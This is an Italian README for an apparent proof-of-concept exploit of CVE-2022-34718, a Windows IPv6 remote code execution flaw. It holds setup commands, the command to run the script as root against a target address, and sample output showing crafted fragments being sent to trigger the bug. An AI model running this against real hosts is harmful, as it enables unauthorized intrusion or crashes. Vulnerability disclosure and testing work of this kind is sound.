
Questo repository contiene un exploit di CVE-2022-34718, una vulnerabilità di Remote Code Execution (RCE) in IPv6 sui sistemi Windows.
Poiché la vulnerabilità richiede pacchetti IPv6 appositamente costruiti, dipende dal modulo Scapy e pertanto deve essere eseguito come root. Il metodo consigliato per eseguire questa PoC è tramite un ambiente virtuale, come segue:
# virtualenv PoC
# source PoC/bin/activate
(PoC) # pip3 install -r requirements.txt
(PoC) # python3 ipv6-rce-poc.py <target address>
Lo script ti dirà se il sistema target è vulnerabile a questo exploit.
[...]
**** inner_frag_id: 0x24944eac
Preparing frags...
Sending 64 frags...
.
Sent 1 packets.
[...]
Sent 1 packets.
Now sending the last inner fragment to trigger the bug...
.
Sent 1 packets.
Success! The system is vulnerable...